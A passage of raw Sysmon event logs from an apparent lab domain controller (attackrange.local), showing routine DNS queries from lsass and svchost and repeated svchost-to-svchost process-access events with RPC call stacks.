LL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 22542200x80000000000000002515Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:01.263{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.0type: 33 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002514Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:00.590{A5F018FF-28BF-5F80-1300-000000007F01}1264win-dc-17966111460-C:\Windows\System32\svchost.exe 22542200x80000000000000002560Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:01.746{A5F018FF-28BF-5F80-1200-000000007F01}1256attackrange.local9502-C:\Windows\System32\svchost.exe 22542200x80000000000000002563Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.774{A5F018FF-28BF-5F80-1300-000000007F01}1264attackrange.local0type: 2 win-dc-1796611.attackrange.local;10.0.1.14;C:\Windows\System32\svchost.exe 22542200x80000000000000002562Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.772{A5F018FF-28BD-5F80-0B00-000000007F01}868win-dc-1796611.attackrange.local0fe80::15f7:4ea2:8f9e:67e8;::ffff:10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002561Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.765{A5F018FF-28BF-5F80-1300-000000007F01}1264win-dc-1796611.attackrange.local9501type: 6 ;10.0.1.14;C:\Windows\System32\svchost.exe 10341000x80000000000000002575Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:05.667{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002574Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:05.667{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002573Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:05.667{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002572Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:05.667{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002571Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:05.667{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002570Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:05.667{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002569Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:05.667{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002568Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:05.667{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002567Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:05.667{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002566Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:05.667{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002565Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:05.667{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002564Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:05.667{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002588Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:06.183{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002587Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:06.183{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002586Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:06.183{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002585Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:06.183{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002584Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:06.183{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002583Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:06.183{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002582Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:06.183{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002581Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:06.183{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002580Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:06.183{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002579Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:06.183{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002578Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:06.183{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002577Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 